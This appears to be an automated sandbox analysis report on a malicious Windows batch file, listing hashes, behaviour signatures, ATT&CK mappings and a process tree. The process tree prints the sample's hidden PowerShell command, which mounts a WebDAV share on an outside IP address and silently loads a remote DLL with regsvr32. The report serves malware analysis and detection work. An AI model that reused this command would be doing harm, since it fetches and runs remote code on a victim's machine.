8962bf8172cd5eb29f70d5e08c2b8efa462ef99dd0c9a2c7af5807bc1b9176d1

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
21/07/2024, 22:44

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General

Target

2423429913126011071.bat
Size

16KB
MD5

a325880e55e1a8110a8b4cd8ecec44e3
SHA1

314666c5bd042efe79e2f58c1045518ec3ea1977
SHA256

8962bf8172cd5eb29f70d5e08c2b8efa462ef99dd0c9a2c7af5807bc1b9176d1
SHA512

33e12d245008e29489275521615a29ef619aef4c1d92e3d672e5416f188411b2f461db87664e242792235c253bedbf2cd480b1d4ad8adceae5291325de26386e
SSDEEP

384:knvYbXVGjcOdT+mkhbAW70BchxQ5F1Ytzu5qZnFODBF2E+:knwsjVdg7cKMQzAC

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2520	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2520	powershell.exe
2520	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2520	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4212	wordpad.exe
4212	wordpad.exe
4212	wordpad.exe
4212	wordpad.exe
4212	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2756 wrote to memory of 4212	2756	cmd.exe	85
PID 2756 wrote to memory of 4212	2756	cmd.exe	85
PID 2756 wrote to memory of 2520	2756	cmd.exe	87
PID 2756 wrote to memory of 2520	2756	cmd.exe	87
PID 2520 wrote to memory of 3980	2520	powershell.exe	89
PID 2520 wrote to memory of 3980	2520	powershell.exe	89
PID 2520 wrote to memory of 1464	2520	powershell.exe	90
PID 2520 wrote to memory of 1464	2520	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2423429913126011071.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\146071545317939.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2520
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:3980
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\146071545317939.dll
    3⤵
    PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3096

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pkpyiq0a.eha.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2520-2-0x0000028F21040000-0x0000028F21062000-memory.dmp

Filesize
136KB

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